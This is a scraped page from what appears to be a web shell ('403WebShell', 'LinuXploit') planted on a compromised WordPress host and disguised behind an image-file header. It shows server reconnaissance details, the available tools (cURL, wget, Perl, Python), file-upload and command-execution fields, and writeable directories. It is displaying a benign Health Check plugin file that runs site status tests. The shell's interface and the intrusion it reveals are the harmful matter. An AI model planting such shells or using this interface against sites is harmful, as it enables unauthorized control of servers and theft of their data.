????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.96.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/tempvsty/peekmysite.com/wp-content/plugins/health-check/HealthCheck/WP_CLI/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tempvsty/peekmysite.com/wp-content/plugins/health-check/HealthCheck/WP_CLI/class-status.php
<?php

namespace HealthCheck\WP_CLI;

class Status {

	private $format;

	public function __construct( $format ) {
		$this->format = $format;
	}

	public function run() {
		$health_check_site_status = \WP_Site_Health::get_instance();

		$tests = $health_check_site_status::get_tests();

		$test_result = array();

		foreach ( $tests['direct'] as $test ) {
			if ( is_string( $test['test'] ) ) {
				$test_function = sprintf(
					'get_test_%s',
					$test['test']
				);

				if ( method_exists( $health_check_site_status, $test_function ) && is_callable( array( $health_check_site_status, $test_function ) ) ) {
					$test_output = apply_filters( 'site_status_test_result', call_user_func( array( $health_check_site_status, $test_function ) ) );

					$test_result[] = array(
						'test'   => $test['label'],
						'type'   => wp_kses( $test_output['badge']['label'], array() ),
						'result' => wp_kses( $test_output['status'], array() ),
					);

					continue;
				}
			}

			if ( is_callable( $test['test'] ) ) {
				$test_output = apply_filters( 'site_status_test_result', call_user_func( $test['test'] ) );

				$test_result[] = array(
					'test'   => $test['label'],
					'type'   => wp_kses( $test_output['badge']['label'], array() ),
					'result' => wp_kses( $test_output['status'], array() ),
				);
			}
		}

		foreach ( $tests['async'] as $test ) {
			if ( isset( $test['async_direct_test'] ) && is_callable( $test['async_direct_test'] ) ) {
				$test_output = apply_filters( 'site_status_test_result', call_user_func( $test['async_direct_test'] ) );

				$test_result[] = array(
					'test'   => $test['label'],
					'type'   => wp_kses( $test_output['badge']['label'], array() ),
					'result' => wp_kses( $test_output['status'], array() ),
				);
			}
		}

		if ( 'json' === $this->format ) {
			\WP_CLI\Utils\format_items( 'json', $test_result, array( 'test', 'type', 'result' ) );
		} elseif ( 'csv' === $this->format ) {
			\WP_CLI\Utils\format_items( 'csv', $test_result, array( 'test', 'type', 'result' ) );
		} elseif ( 'yaml' === $this->format ) {
			\WP_CLI\Utils\format_items( 'yaml', $test_result, array( 'test', 'type', 'result' ) );
		} else {
			\WP_CLI\Utils\format_items( 'table', $test_result, array( 'test', 'type', 'result' ) );
		}
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit